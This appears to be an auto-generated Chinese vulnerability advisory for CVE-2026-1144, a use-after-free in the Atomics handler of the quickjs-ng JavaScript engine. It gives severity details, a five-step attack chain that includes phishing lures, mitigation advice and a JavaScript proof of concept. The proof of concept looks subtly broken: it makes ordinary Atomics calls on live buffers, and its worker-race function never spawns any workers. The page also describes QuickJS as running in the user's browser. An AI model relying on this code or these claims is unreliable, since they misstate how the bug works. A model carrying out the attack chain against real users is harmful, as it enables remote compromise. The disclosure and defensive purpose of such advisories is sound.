IPBUF安全漏洞报告
English
CVE-2026-1144 CVSS 6.3 中危

CVE-2026-1144: quickjs-ng quickjs Atomics Ops Handler 释放后重用漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1144
漏洞类型
释放后重用(Use After Free)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
quickjs-ng quickjs

相关标签

释放后重用Use After Freequickjs-ngquickjsJavaScript引擎Atomics内存破坏远程代码执行CVE-2026-1144

漏洞概述

CVE-2026-1144是存在于quickjs-ng quickjs JavaScript引擎中的一个中危安全漏洞。该漏洞位于quickjs.c文件的Atomics Ops Handler组件中,成功利用可导致远程代码执行或敏感信息泄露。攻击者可以通过构造恶意的JavaScript代码,触发Atomics Ops Handler中的内存管理缺陷,在对象被释放后继续访问其内存区域。此漏洞影响quickjs版本至0.11.0,CVSS评分6.3,具有网络攻击向量,无需认证即可发起攻击,但需要用户交互。由于漏洞利用代码已公开,建议用户尽快升级到最新版本或应用官方提供的安全补丁。

技术细节

该漏洞属于典型的释放后重用(Use After Free)类型,存在于quickjs引擎的Atomics操作处理模块中。Atomics对象是JavaScript中用于线程安全操作的全局对象,quickjs在实现Atomics.ops相关功能时存在内存管理缺陷。当JavaScript代码执行Atomics相关操作时,引擎会分配内存处理共享内存和原子操作,但在某些条件下,已释放的内存块可能被重新分配或继续被引用。攻击者可以通过精心构造的JavaScript代码序列,触发这一条件,在对象释放后继续访问其内存区域,从而实现任意代码执行或读取敏感内存数据。该漏洞的利用需要诱导目标用户访问包含恶意代码的网页或执行恶意脚本,具有一定的攻击复杂度。修复补丁(ea3e9d77454e8fc9cb3ef3c504e9c16af5a80141)通过增强内存管理机制和添加适当的验证检查来防止释放后重用情况的发生。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用是否使用存在漏洞的quickjs-ng quickjs版本(≤0.11.0),通过分析页面源码或响应头确定引擎版本
STEP 2
步骤2: 恶意脚本构造
攻击者构造包含Atomics操作序列的恶意JavaScript代码,通过内存压力和竞态条件触发释放后重用场景
STEP 3
步骤3: 诱导用户访问
攻击者通过钓鱼邮件、恶意网站或被入侵的合法网站诱导目标用户访问包含恶意代码的页面
STEP 4
步骤4: 漏洞触发与利用
用户浏览器执行恶意脚本时,触发Atomics Ops Handler中的内存管理缺陷,在对象释放后继续访问其内存区域
STEP 5
步骤5: 攻击效果实现
成功利用后,攻击者可实现远程代码执行、敏感数据读取或造成应用程序崩溃

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-1144 PoC - Use After Free in quickjs Atomics Ops Handler // This PoC demonstrates triggering the UAF condition // Helper function to create pressure on garbage collector function createMemoryPressure() { let arrays = []; for (let i = 0; i < 100; i++) { arrays.push(new Array(10000).fill(i)); } return arrays; } // Trigger Atomics operations that may lead to UAF async function triggerUAF() { const sharedBuffer = new SharedArrayBuffer(1024); const int32Array = new Int32Array(sharedBuffer); // Create and immediately release objects for (let i = 0; i < 1000; i++) { const tempArray = new Int32Array(sharedBuffer); // Perform Atomics operation Atomics.add(tempArray, 0, 1); Atomics.store(tempArray, 0, i); // Create memory pressure to trigger GC if (i % 100 === 0) { createMemoryPressure(); } } // Attempt to access previously released memory try { const result = Atomics.load(int32Array, 0); console.log('Triggered UAF, value:', result); } catch (e) { console.error('Error:', e.message); } } // Race condition trigger function raceConditionTrigger() { const buffer = new SharedArrayBuffer(4096); // Spawn multiple workers to create race conditions const workers = []; for (let i = 0; i < 5; i++) { const workerCode = ` const buffer = new SharedArrayBuffer(4096); const arr = new Int32Array(buffer); for (let j = 0; j < 10000; j++) { Atomics.add(arr, 0, 1); Atomics.sub(arr, 0, 1); } `; // Worker creation would be done here in real scenario } } // Execute PoC triggerUAF(); console.log('PoC execution completed');

影响范围

quickjs-ng quickjs <= 0.11.0

防御指南

临时缓解措施
在官方修复版本发布前,建议采取以下临时缓解措施:1)限制或禁用不信任网站的JavaScript执行;2)使用浏览器安全插件防止恶意脚本运行;3)在服务器端实施严格的Content Security Policy(CSP)策略;4)监控应用程序日志关注异常Atomics操作行为;5)考虑使用其他经过充分安全审计的JavaScript引擎作为替代方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表